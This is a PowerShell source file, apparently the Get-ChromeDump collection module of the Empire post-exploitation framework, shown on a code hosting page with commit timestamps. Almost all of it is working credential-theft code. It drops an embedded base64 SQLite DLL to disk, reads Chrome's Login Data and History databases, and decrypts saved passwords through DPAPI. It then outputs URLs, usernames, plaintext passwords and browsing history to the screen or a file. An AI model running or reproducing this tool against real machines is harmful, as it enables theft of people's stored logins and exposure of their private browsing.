Empire/data/module_source/collection/Get-ChromeDump.ps1

208 lines
3.9 MiB
PowerShell
Raw Normal View History

2015-11-25 16:55:36 +00:00
Function Get-ChromeDump{
<#
.SYNOPSIS
This function returns any passwords and history stored in the chrome sqlite databases.
.DESCRIPTION
This function uses the System.Data.SQLite assembly to parse the different sqlite db files used by chrome to save passwords and browsing history. The System.Data.SQLite assembly
cannot be loaded from memory. This is a limitation for assemblies that contain any unmanaged code and/or compiled without the /clr:safe option.
.PARAMETER OutFile
Switch to dump all results out to a file.
.EXAMPLE
Get-ChromeDump -OutFile "$env:HOMEPATH\chromepwds.txt"
Dump All chrome passwords and history to the specified file
.LINK
http://www.xorrior.com
2015-11-25 16:55:36 +00:00
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False)]
[string]$OutFile
)
#Add the required assembly for decryption
Add-Type -Assembly System.Security
#Check to see if the script is being run as SYSTEM. Not going to work.
if(([System.Security.Principal.WindowsIdentity]::GetCurrent()).IsSystem){
Write-Warning "Unable to decrypt passwords contained in Login Data file as SYSTEM."
2015-11-25 16:55:36 +00:00
$NoPasswords = $True
}
if([IntPtr]::Size -eq 8)
{
#64 bit version
$assembly = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACbdYLo3xTsu98U7LvfFOy71mxou8MU7LvWbG+7shTsu9ZsebvOFOy7+NKXu9gU7LvfFO27VxTsu9ZsZ7vdFOy71mx+u94U7LvBRni73hTsu9ZsfbveFOy7UmljaN8U7LsAAAAAAAAAAAAAAAAAAAAAUEUAAGSGCAChShZXAAAAAAAAAADwACIgCwIJAAAWEwAAcgcAAAAAAG4jEwAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgABAAAABQACAAAAAAAAEBsAAAQAAINzGwACAE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BMQ/xVAoA4QhcB1Fuj3BgAAi/D/FbygDhBQ6KcGAACJBlnonyUAAMOL/1WL7FGDZfwAVo1F/FD/dQz/dQjoJycAAIvwg8QMhfZ1GDlF/HQT6LMGAACFwHQK6KoGAACLTfyJCIvGXsnDzMzMzMyL/1aL8jvBdBeF9nQTU4v/ihmKEIgYTogRQEGF9nXxW17DzMzMzMzMzMzMzMzMzM
}
2015-11-25 16:55:36 +00:00
#Unable to load this assembly from memory. The assembly was most likely not compiled using /clr:safe and contains unmanaged code. Loading assemblies of this type from memory will not work. Therefore we have to load it from disk.
#DLL for sqlite queries and parsing
2015-11-25 16:55:36 +00:00
#http://system.data.sqlite.org/index.html/doc/trunk/www/downloads.wiki
Write-Verbose "[+]System.Data.SQLite.dll will be written to disk"
$content = [System.Convert]::FromBase64String($assembly)
2015-11-25 16:55:36 +00:00
$assemblyPath = "$($env:LOCALAPPDATA)\System.Data.SQLite.dll"
2015-11-25 16:55:36 +00:00
if(Test-path $assemblyPath)
{
try
{
2015-11-25 16:55:36 +00:00
Add-Type -Path $assemblyPath
}
catch
{
Write-Warning "[!]Unable to load SQLite assembly"
2015-11-25 16:55:36 +00:00
break
}
}
else
{
[System.IO.File]::WriteAllBytes($assemblyPath,$content)
Write-Verbose "[+]Assembly for SQLite written to $assemblyPath"
try
{
Add-Type -Path $assemblyPath
}
catch
{
Write-Warning "[!]Unable to load SQLite assembly"
break
}
}
2015-11-25 16:55:36 +00:00
#Check if Chrome is running. The data files are locked while Chrome is running
if(Get-Process | Where-Object {$_.Name -like "*chrome*"}){
Write-Warning "[!]Cannot parse Data files while chrome is running"
2015-11-25 16:55:36 +00:00
break
}
#grab the path to Chrome user data
$OS = [environment]::OSVersion.Version
if($OS.Major -ge 6){
$chromepath = "$($env:LOCALAPPDATA)\Google\Chrome\User Data\Default"
}
else{
$chromepath = "$($env:HOMEDRIVE)\$($env:HOMEPATH)\Local Settings\Application Data\Google\Chrome\User Data\Default"
}
if(!(Test-path $chromepath)){
Throw "Chrome user data directory does not exist"
}
else{
#DB for CC and other info
if(Test-Path -Path "$chromepath\Web Data"){$WebDatadb = "$chromepath\Web Data"}
#DB for passwords
if(Test-Path -Path "$chromepath\Login Data"){$loginDatadb = "$chromepath\Login Data"}
#DB for history
if(Test-Path -Path "$chromepath\History"){$historydb = "$chromepath\History"}
#$cookiesdb = "$chromepath\Cookies"
}
if(!($NoPasswords)){
#Parse the login data DB
$connStr = "Data Source=$loginDatadb; Version=3;"
2015-11-25 16:55:36 +00:00
$connection = New-Object System.Data.SQLite.SQLiteConnection($connStr)
$OpenConnection = $connection.OpenAndReturn()
Write-Verbose "Opened DB file $loginDatadb"
2015-11-25 16:55:36 +00:00
$query = "SELECT * FROM logins;"
$dataset = New-Object System.Data.DataSet
$dataAdapter = New-Object System.Data.SQLite.SQLiteDataAdapter($query,$OpenConnection)
[void]$dataAdapter.fill($dataset)
$logins = @()
Write-Verbose "Parsing results of query $query"
2015-11-25 16:55:36 +00:00
$dataset.Tables | Select-Object -ExpandProperty Rows | ForEach-Object {
$encryptedBytes = $_.password_value
$username = $_.username_value
$url = $_.action_url
$decryptedBytes = [Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [Security.Cryptography.DataProtectionScope]::CurrentUser)
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBytes)
$login = New-Object PSObject -Property @{
URL = $url
PWD = $plaintext
User = $username
}
$logins += $login
}
}
#Parse the History DB
$connString = "Data Source=$historydb; Version=3;"
$connection = New-Object System.Data.SQLite.SQLiteConnection($connString)
$Open = $connection.OpenAndReturn()
Write-Verbose "Opened DB file $historydb"
2015-11-25 16:55:36 +00:00
$DataSet = New-Object System.Data.DataSet
$query = "SELECT * FROM urls;"
$dataAdapter = New-Object System.Data.SQLite.SQLiteDataAdapter($query,$Open)
[void]$dataAdapter.fill($DataSet)
$History = @()
$dataset.Tables | Select-Object -ExpandProperty Rows | ForEach-Object {
$HistoryInfo = New-Object PSObject -Property @{
Title = $_.title
URL = $_.url
}
$History += $HistoryInfo
}
if(!($OutFile)){
"[*]CHROME PASSWORDS`n"
$logins | Format-Table URL,User,PWD -AutoSize | Out-String
"[*]CHROME HISTORY`n"
$History | Format-List Title,URL | Out-String
2015-11-25 16:55:36 +00:00
}
else {
"[*]LOGINS`n" | Out-File $OutFile
$logins | Out-File $OutFile -Append
"[*]HISTORY`n" | Out-File $OutFile -Append
$History | Out-File $OutFile -Append
}
Write-Warning "[!] Please remove SQLite assembly from here: $assemblyPath"
2015-11-25 16:55:36 +00:00
}